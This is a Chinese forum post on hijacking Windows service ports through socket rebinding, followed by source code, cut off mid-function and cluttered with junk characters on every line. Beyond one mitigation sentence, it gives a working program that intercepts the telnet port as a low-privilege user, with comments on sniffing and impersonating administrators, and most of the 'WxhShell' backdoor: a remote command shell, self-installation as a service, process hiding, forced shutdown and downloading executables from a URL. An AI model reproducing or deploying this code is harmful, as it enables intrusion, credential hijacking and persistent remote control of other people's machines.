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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j r[~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zEW:Xe)  
fq|2E&&v  
  saddr.sin_family = AF_INET; _&/Zab5  
%\cC]<>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @nP}q!y  
o FLrSmY)E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1aE/_  
Lvq]SzOw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FQFENq''B  
q,DX{:  
  这意味着什么?意味着可以进行如下的攻击: Ic K=E ]p  
LXLDu2/@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u-_$?'l;~  
7gwZ9Fob  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IdxToMr  
?/( K7>`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b-?o?}*  
Z?.*.<"Sj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~@D%qbN  
;ZJ,l)BNO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PHvjsA%"   
Q*.FUV&;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 / aG>we  
@<G/H|f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3 ms/v:\  
CD_f[u  
  #include 7]%il[  
  #include 1Q SIZoK7  
  #include yU"G|Ex  
  #include    *fSM'q;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   SN(=e#ljE  
  int main() noA\5&hqW  
  { ^-u HdafP  
  WORD wVersionRequested; I_G>W3  
  DWORD ret; Wp}9%Mq~Jy  
  WSADATA wsaData; U.U.\   
  BOOL val; es[5B* 5  
  SOCKADDR_IN saddr; KeI:/2  
  SOCKADDR_IN scaddr; rx>Tc#g  
  int err; 4i/q^;`  
  SOCKET s; 0>=)  
  SOCKET sc; J&:W4\ m  
  int caddsize; >iH).:j  
  HANDLE mt; zm+4Rl(  
  DWORD tid;   VaSNFl1_M  
  wVersionRequested = MAKEWORD( 2, 2 ); ok s=|'&  
  err = WSAStartup( wVersionRequested, &wsaData ); Qz+d[%Q}x  
  if ( err != 0 ) { 9*;isMkq<  
  printf("error!WSAStartup failed!\n"); ;jU-<  
  return -1; 6 ]PM!6  
  } m5w9l"U]H  
  saddr.sin_family = AF_INET; Nf'dT;s.N  
   YeC,@d[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y@H,Lk  
npcBpGL{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `u~  
  saddr.sin_port = htons(23); )O@^H   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !X%!7wsc  
  { 5 ?~-Vv31s  
  printf("error!socket failed!\n"); = 6<w'>  
  return -1; ;b?+:L  
  } &8+6!TN7  
  val = TRUE; v^W?o}W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IIQ3|eZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) urXb!e{l  
  { 3>9dJx4I  
  printf("error!setsockopt failed!\n"); #IaBl?}r^  
  return -1; ~,!hE&LE~  
  } _8li4;F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mc7<[a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d]ZC8<`w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *{dD'9Bg  
'Z2N{65  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [gkRXP[DGs  
  { ru/zLj:  
  ret=GetLastError(); h0 GdFWN  
  printf("error!bind failed!\n"); /P!X4~sTM  
  return -1; 4 uy@ {  
  } V87ee,  
  listen(s,2); i %hn  
  while(1) y'!p>/%v  
  { +%}5{lu_e  
  caddsize = sizeof(scaddr); B N*,!fx  
  //接受连接请求 EB2^]?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 39T&c85  
  if(sc!=INVALID_SOCKET) ys[i`~$  
  { vg:J#M:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .l( r8qY#  
  if(mt==NULL) M-Z6TL  
  { K~Au?\{  
  printf("Thread Creat Failed!\n"); r,.95@  
  break; [> &+*c  
  } udEb/7ZL  
  } Fm$n@R bX  
  CloseHandle(mt); DAMpR3  
  } lv\F+?]a  
  closesocket(s); jO&f*rxN  
  WSACleanup(); E8iadf49  
  return 0; ;;y@z[ >  
  }   0^!,[oh6*  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^mgI%_?1  
  { R!/,E  
  SOCKET ss = (SOCKET)lpParam; @0UwI%.  
  SOCKET sc; 2>MP:yY;K  
  unsigned char buf[4096]; Ife,h s  
  SOCKADDR_IN saddr; XuFm4DEJ  
  long num; ?mYV\kDt\  
  DWORD val; c(Uj'uLc  
  DWORD ret; U)`3[fo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +A'q#~yILa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K*Nb_|~  
  saddr.sin_family = AF_INET; >|_gT%]5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v;bM.OL  
  saddr.sin_port = htons(23); RRI>bh]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EAC(^+15K  
  { nF. ;LM  
  printf("error!socket failed!\n"); yo?g"vbE  
  return -1; U| 41u4)D  
  } 4lY&=_K[)  
  val = 100; 0l(E!d8&'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uD ?I>7  
  { U= c5zrs  
  ret = GetLastError(); ^b"x|8  
  return -1; o}mhy`}  
  } Pa +AF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v E3{H  
  { !X\sQNp  
  ret = GetLastError(); 0{"dI;b%  
  return -1; np`g cj#  
  } (}*\ {  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rY[3_NG%  
  { (EOec5qXU  
  printf("error!socket connect failed!\n"); ]xJ'oBhy  
  closesocket(sc); ~4=]%XYz  
  closesocket(ss); ,<;l"v(  
  return -1; K4?t' dd]  
  } :\1rQT  
  while(1) 2\nBqCxR  
  { uGP[l`f|FQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X|-v0 f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (5Z8zNH`3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8g# c%eZ  
  num = recv(ss,buf,4096,0); mJGO)u&  
  if(num>0) V(lK`dY  
  send(sc,buf,num,0); GG@I!2,_  
  else if(num==0) YoV^xl6g  
  break; t3  uB  
  num = recv(sc,buf,4096,0); e-%7F]e  
  if(num>0) ;Xfd1    
  send(ss,buf,num,0); xI`Uk8-8  
  else if(num==0) rnMG0  
  break; <<7,k f R  
  } r6 oX6.c  
  closesocket(ss); k\mXo-:V6  
  closesocket(sc); xP{HjONu  
  return 0 ; {*M>X}voS  
  } 1kvPiV=X>  
dt-Qu},8-  
0^<Skm27"  
========================================================== 4hsPbUx9  
/@9-!cL  
下边附上一个代码,,WXhSHELL ;I!+ lx3[  
@b ::6n/u  
========================================================== OQytgXED  
Edf=?K+\!i  
#include "stdafx.h" g33<qYxP  
wc6 E- rB  
#include <stdio.h> q7O,I`KaJ  
#include <string.h> 0%h [0jGj  
#include <windows.h> QoW ( tM  
#include <winsock2.h> 6o[0sM_];  
#include <winsvc.h> xE G+%Uk{  
#include <urlmon.h> zK ' _e&*  
3i]"#wK  
#pragma comment (lib, "Ws2_32.lib") dl*_ m3T  
#pragma comment (lib, "urlmon.lib") u|_LR5S!j  
Q-! i$#-  
#define MAX_USER   100 // 最大客户端连接数 RlI W&y  
#define BUF_SOCK   200 // sock buffer e/]O<,*  
#define KEY_BUFF   255 // 输入 buffer c{'$=lR "  
D_l/Gxdpr  
#define REBOOT     0   // 重启 LCo1{wi  
#define SHUTDOWN   1   // 关机 Ht`<XbQ>  
/32Ta  
#define DEF_PORT   5000 // 监听端口 '|YtNhWZ?  
K:>NGGY8r  
#define REG_LEN     16   // 注册表键长度 ILkjz^  
#define SVC_LEN     80   // NT服务名长度 } D/+<  
T8,k7 7  
// 从dll定义API ALE808;|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D:YN_J"kV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l1-4n*fU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &K9VEMCEX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ".~Mm F  
5z9r S<  
// wxhshell配置信息 s0C?Bb}?  
struct WSCFG { '`M#UuU  
  int ws_port;         // 监听端口 -{yDk$"  
  char ws_passstr[REG_LEN]; // 口令 DHh+%|e  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9l]UE0yTL/  
  char ws_regname[REG_LEN]; // 注册表键名 v?Z'[l  
  char ws_svcname[REG_LEN]; // 服务名 |QnUK5D$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qv&T E3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ax-=n(   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^;V}l?J_s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QE7+rBa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 96.IuwL*.s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SjZd0H0  
3gxf~$)?  
}; U -Af7qO  
#t"9TP  
// default Wxhshell configuration vqrBRlZ  
struct WSCFG wscfg={DEF_PORT, 9>A-$a4R>  
    "xuhuanlingzhe", u~#%P&3 _W  
    1, i:l80 GK  
    "Wxhshell", Mq+viU&   
    "Wxhshell", C!$Xv&"r  
            "WxhShell Service", GIl:3iB49  
    "Wrsky Windows CmdShell Service", H/cs_i  
    "Please Input Your Password: ", Y;fuh[#  
  1, A m2*-  
  "http://www.wrsky.com/wxhshell.exe", '4af ],  
  "Wxhshell.exe" qJ\X~5{  
    }; Z 7`5x  
8pX f T%]  
// 消息定义模块 Sp<hai  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1zdYBb6;j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \1=T sU&^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rER~P\-  
char *msg_ws_ext="\n\rExit."; f2uZK!:m  
char *msg_ws_end="\n\rQuit."; k TFz_*6.  
char *msg_ws_boot="\n\rReboot..."; B"~U<6s0  
char *msg_ws_poff="\n\rShutdown..."; PLO\L W  
char *msg_ws_down="\n\rSave to "; "F&Tnhh4  
V[#6yMU@  
char *msg_ws_err="\n\rErr!";  II.<SC  
char *msg_ws_ok="\n\rOK!"; bq:wEMM4s  
&(lMm)  
char ExeFile[MAX_PATH]; 11i"nR|  
int nUser = 0; }=Hf?';m  
HANDLE handles[MAX_USER]; IetCMp  
int OsIsNt; z VnIr<!8_  
c eqFQ  
SERVICE_STATUS       serviceStatus; E2>im>p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XZF%0g2$b  
ILNE 4n  
// 函数声明 ^it4z gx@  
int Install(void); 60~v t04  
int Uninstall(void); S|l&fb n  
int DownloadFile(char *sURL, SOCKET wsh);  UP\8w#~  
int Boot(int flag); -sP9E|/:'3  
void HideProc(void); [vE$R@TZ0!  
int GetOsVer(void); D*|( p6v1&  
int Wxhshell(SOCKET wsl); DG_}9M!DW@  
void TalkWithClient(void *cs); jjxIS  
int CmdShell(SOCKET sock); RI?NB6U  
int StartFromService(void); #N; $  
int StartWxhshell(LPSTR lpCmdLine); cB{%u '  
C#Y,r)l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4DvdE t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .8-PB*vb  
G?>qd}]y0L  
// 数据结构和表定义 K3Huu!Tr  
SERVICE_TABLE_ENTRY DispatchTable[] = #]"/{Z  
{ 1Pu ,:Jt  
{wscfg.ws_svcname, NTServiceMain}, Q?W r7  
{NULL, NULL} [.M  
}; Q{O/xLf  
;9K[~  
// 自我安装 IoQr+:_R  
int Install(void) ggMUdlU  
{ &Y 'z?N  
  char svExeFile[MAX_PATH]; AlUJ1^o)  
  HKEY key; A8J?A#R*{q  
  strcpy(svExeFile,ExeFile); ',DeP>'%>  
o\d |CE;>  
// 如果是win9x系统,修改注册表设为自启动 JFe4/ V  
if(!OsIsNt) { g .3f2w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $,!hD\a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JAN|aCzD  
  RegCloseKey(key); ,Ie<'>hd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tzZ|S<e6=\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6!@0VI&P  
  RegCloseKey(key); Bhj:9%`  
  return 0; &.hoC Po$  
    } JL@F~U9  
  } Lg8 ]dBXu  
} D4d]3|/T  
else { *`%4loW  
.Xi2G@D  
// 如果是NT以上系统,安装为系统服务 T)`gm{T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #uB[&GG}W  
if (schSCManager!=0) .hxin [Y  
{ q{/*n]K  
  SC_HANDLE schService = CreateService X+@s]  
  ( V_jiOT!  
  schSCManager, +5#x6[  
  wscfg.ws_svcname, !TGr.R  
  wscfg.ws_svcdisp, /=bSt  
  SERVICE_ALL_ACCESS, cY{I:MA+h@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q^nG0<q+  
  SERVICE_AUTO_START, wtq,`'B  
  SERVICE_ERROR_NORMAL, }lH;[+u3  
  svExeFile, c$/<l5Uw  
  NULL, {JTmP`&l  
  NULL, CDJ$hu  
  NULL, Il|GCj*N  
  NULL, {Wh BoD  
  NULL ej<`CQ  
  ); :|=- (z  
  if (schService!=0) h5 j<u  
  { TWtC-wI;  
  CloseServiceHandle(schService); 3=IG#6)~C  
  CloseServiceHandle(schSCManager); l4zw]AYk+X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5|5=Y/   
  strcat(svExeFile,wscfg.ws_svcname); (p^S~Ax  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FbmsN)mv!%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u9BjgK(M  
  RegCloseKey(key); k2pT1QZnt  
  return 0; :fhB*SYK  
    } *aI~W^N3  
  } c+H)ed>  
  CloseServiceHandle(schSCManager); wBLsz/  
} ZH!;z-R  
} sLNNcj(Cy>  
Y4`QK+~fH  
return 1; whw{dfE  
} PaNeu1cO  
?x'w~;9R/  
// 自我卸载 NfOp=X?Y  
int Uninstall(void) RFB(d=o5S  
{  Ll?g.z"  
  HKEY key; *G\=i A  
>C:If0S4X  
if(!OsIsNt) { mLQUcYfR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (NPxab8e*  
  RegDeleteValue(key,wscfg.ws_regname); @FU~1u3d  
  RegCloseKey(key); Xty# vI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |J\,F.{'  
  RegDeleteValue(key,wscfg.ws_regname); %iX/y  
  RegCloseKey(key); h>| g2h  
  return 0; ^zHRSO  
  } CGkI\E  
} 'P,,<nkr|  
} ?/)lnj)e{  
else { Jb9F=s+  
~+=E"9Oo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4Mi~1iZj  
if (schSCManager!=0) !M,h79NM  
{ U[bgu#P;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0_Lm#fE U  
  if (schService!=0) q1jN]H  
  { G8noQ_-  
  if(DeleteService(schService)!=0) { 2Sjt=LOc="  
  CloseServiceHandle(schService); (m/aV  
  CloseServiceHandle(schSCManager); 4 ]sCr+   
  return 0; &/iFnYVhy  
  } Z~_8P  
  CloseServiceHandle(schService); g9`[Y~  
  } YQ+^  
  CloseServiceHandle(schSCManager); -( (Z@T1k  
} O <>#>[  
} vkuc8 li  
m!0N"AjA  
return 1; ex!XB$X  
} xb]o dYGdW  
(U_wp's  
// 从指定url下载文件 qv$!\T  
int DownloadFile(char *sURL, SOCKET wsh) H}B2A"  
{ SYeE) mI  
  HRESULT hr; `2,a(Sk#  
char seps[]= "/"; LZ4xfB (  
char *token; 8'\~%xw  
char *file; 5=Suj*s{D#  
char myURL[MAX_PATH]; y~dB5/  
char myFILE[MAX_PATH]; =tnTdp0F  
9{$8\E9*nd  
strcpy(myURL,sURL); (uRZxX  
  token=strtok(myURL,seps); Fh^ox"3c  
  while(token!=NULL) nGns}\!7'  
  { GyuV %  
    file=token; =&N$Vqn  
  token=strtok(NULL,seps); -<PC"B  
  } Vha'e3 o!  
4T%cTH:.9N  
GetCurrentDirectory(MAX_PATH,myFILE); 8<{;=m8cQ  
strcat(myFILE, "\\"); 5a6VMqQ6  
strcat(myFILE, file); *<xrp*O  
  send(wsh,myFILE,strlen(myFILE),0); 2uEhOi0I  
send(wsh,"...",3,0); bQ"N ;d)e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6< >SHw  
  if(hr==S_OK) *%I[ ke *  
return 0; 4~Dax)  
else UUH;L  
return 1; DRp&IP<  
%<AS?Ry  
} _[F@1NJ  
Qm; BUG]  
// 系统电源模块 Ok*Z  
int Boot(int flag) >T QZk4$  
{ {\L|s5=yr  
  HANDLE hToken; @C=M UT-!  
  TOKEN_PRIVILEGES tkp; #52NsVaT@  
|by@ :@*y  
  if(OsIsNt) { /p 5=i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vf N#NY6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &wb9_? ir-  
    tkp.PrivilegeCount = 1; p/3BD&6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [Y$V\h=V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d/lffNS=  
if(flag==REBOOT) { 9T?64t<Ju  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5uttv:@=  
  return 0; <6R"h-u"  
} R1/q3x  
else { GG+5/hU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m!:.>y  
  return 0; -bm,:Iy!  
} v8~YR'T0`V  
  } y?Onb 3%  
  else { 4'm q_o#4W  
if(flag==REBOOT) { vd(dNu&,<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xW\,KSK  
  return 0; vK:QX$b  
} t!0dJud  
else { tt{`\1q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,Bf(r  
  return 0; Ka.Nr@Rq*~  
} -X8eabb  
} EHhd;,;O  
9~~UM<66W  
return 1; np=kTJ  
} `iQqhx  
wVE:X3Ei  
// win9x进程隐藏模块 M~p=#V1D  
void HideProc(void) ~#Aa Ldq  
{ r )8z#W>s  
"xn|zB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LABNj{=D!  
  if ( hKernel != NULL ) :Y^I]`lR"  
  { ]u0Jd#@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sr"/-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B9^R8|V  
    FreeLibrary(hKernel); jA<T p}$!  
  } CV3DMA  
lhxdx    
return; S(w\ZC  
} !W~<q{VTs  
sOz sY7z3Z  
// 获取操作系统版本 nvH|Ngg Q  
int GetOsVer(void) ) Fx ?%  
{ 0D~=SekQ 9  
  OSVERSIONINFO winfo; ZF'HM@cfo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3Oiy)f@{TF  
  GetVersionEx(&winfo); %t[K36,p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )$_,?*fq:  
  return 1; >)3VbO  
  else W+hV9  
  return 0; |!}wF}iLc)  
} !M^\f N1  
!DcX8~~@  
// 客户端句柄模块 %E.S[cf%8&  
int Wxhshell(SOCKET wsl) gt@SuX!@{^  
{ `)tA YH  
  SOCKET wsh; HTR1)b  
  struct sockaddr_in client; H#Q;"r3  
  DWORD myID; M BVOfEMj  
Bm} iU~(Z`  
  while(nUser<MAX_USER) R&Ci/  
{ .[(P  
  int nSize=sizeof(client); TY6 rwU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +N R n0 z(  
  if(wsh==INVALID_SOCKET) return 1; *<q4S(l  
K(OaW)j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y 1y E  
if(handles[nUser]==0) l#xw.2bo  
  closesocket(wsh); ^Plc}W7h  
else Ue!Q."  
  nUser++; v20~^gKo=m  
  } u]bz42]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C0(sAF@  
8W,*eke?  
  return 0; d.cCbr:  
}  C0<YH "  
enumK\  
// 关闭 socket |^ iA6)Q  
void CloseIt(SOCKET wsh) |X3">U +-  
{ >qpqQ; bm  
closesocket(wsh); s0lYj@E'  
nUser--; .eY`Ri<3t  
ExitThread(0); I4~^TrznRa  
} }e2F{pQ  
WsB3SFNG  
// 客户端请求句柄 ^1VbH3M  
void TalkWithClient(void *cs) e1uMR-Q  
{ Pb4q`!  
]3+``vL  
  SOCKET wsh=(SOCKET)cs; 5Eal1Qu  
  char pwd[SVC_LEN]; }p*?1N  
  char cmd[KEY_BUFF]; <4f,G]UH_  
char chr[1]; h. ^o)T  
int i,j; uP6-cs  
VDa|U9N  
  while (nUser < MAX_USER) { T V;BNCg  
TvM24Orct  
if(wscfg.ws_passstr) { Sn ^Aud  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jsZY{s=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pl\b-  
  //ZeroMemory(pwd,KEY_BUFF); 4>k I^  
      i=0; &CUC{t$VHX  
  while(i<SVC_LEN) { 0'@u!m?  
>?V<$>12  
  // 设置超时 )&z4_l8`=  
  fd_set FdRead; Pi){h~B>  
  struct timeval TimeOut; L#ZLawG  
  FD_ZERO(&FdRead); (3O1?n[n  
  FD_SET(wsh,&FdRead); KIIym9%  
  TimeOut.tv_sec=8; 5~[N/Gl  
  TimeOut.tv_usec=0; ~6sE an3p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H%C\Uz"o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yQwVQUW8B  
waQtr,m)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PkJcd->  
  pwd=chr[0]; ?l 9=$'  
  if(chr[0]==0xd || chr[0]==0xa) { u-39r^`5  
  pwd=0; T.2ZBG ~|[  
  break; SSQT;>  
  } Bk@WW#b  
  i++; {82rne `[  
    } UE;Bb*<   
w+Vk3c5uI)  
  // 如果是非法用户,关闭 socket EzpwGNfz}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x~Agm_Tu+'  
} 6RP+4c  
n1?}Xq|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }P. K2ku  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ph#efY`a:  
M')bHB(~v  
while(1) { I%i:)6Un-y  
j6og3.H-  
  ZeroMemory(cmd,KEY_BUFF); PY -+Bf  
A8!Ed$@  
      // 自动支持客户端 telnet标准   k9&@(G[K3  
  j=0;  0Ve%.k  
  while(j<KEY_BUFF) { MHl^/e@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eE9|F/-L  
  cmd[j]=chr[0]; N5KEa]k1nw  
  if(chr[0]==0xa || chr[0]==0xd) { ^K.*.|  
  cmd[j]=0; gn`zy9PU  
  break; H/`G  
  } a[i>;0  
  j++; Xl?YB Z}  
    } Y-]YDXrPQ  
e`AUYli"  
  // 下载文件 fkG##!  
  if(strstr(cmd,"http://")) { 4,zvFH*AH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }! =U^A)  
  if(DownloadFile(cmd,wsh)) 97S? ;T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=@r7g.2  
  else H+R7X71{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yZ~b+=UM  
  } x ^[F]YU  
  else { AWL[zixR  
~v\hIm3=m  
    switch(cmd[0]) { s ^3[W0hL  
  oXbI5XY)wb  
  // 帮助 3G.r-  
  case '?': { avy=0Jmj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J&_3VKrN  
    break; 6qDfcs  
  } [-]A^?yBM  
  // 安装 _25d%Ne0  
  case 'i': { pI 5_Hg  
    if(Install()) hb<k]-'!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pxk0(oBX  
    else *`1bc'umM;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S\b K+  
    break; niQcvnT4b  
    } *;P2+cE>H3  
  // 卸载 QXB|!'  
  case 'r': { (Xj.iP  
    if(Uninstall()) >|(%2Zl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z{' 6f@]  
    else f)U6p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5}7ISNP;f  
    break; p;e$kg1  
    } Ph Ttx(!  
  // 显示 wxhshell 所在路径 cyHU\!Z*Zq  
  case 'p': { X\mz+al>[  
    char svExeFile[MAX_PATH]; IhwN],-V  
    strcpy(svExeFile,"\n\r"); 2!idy]vy_  
      strcat(svExeFile,ExeFile); P>fKX2eQ-  
        send(wsh,svExeFile,strlen(svExeFile),0); Wz5=(<{S  
    break; -_HRqw,Z0  
    } j9>TTgy@  
  // 重启 ,m3":{G:t.  
  case 'b': { mZE8.`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w#<p^CS  
    if(Boot(REBOOT)) egWx9xX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"\{OX  
    else { p>&S7M/9  
    closesocket(wsh);  -tMA  
    ExitThread(0); LGfmUb-{]  
    } jJ c07r']  
    break; F:,#?  
    } ZqFUPHc  
  // 关机 KDBY9`08  
  case 'd': { F0&O/-w&u  
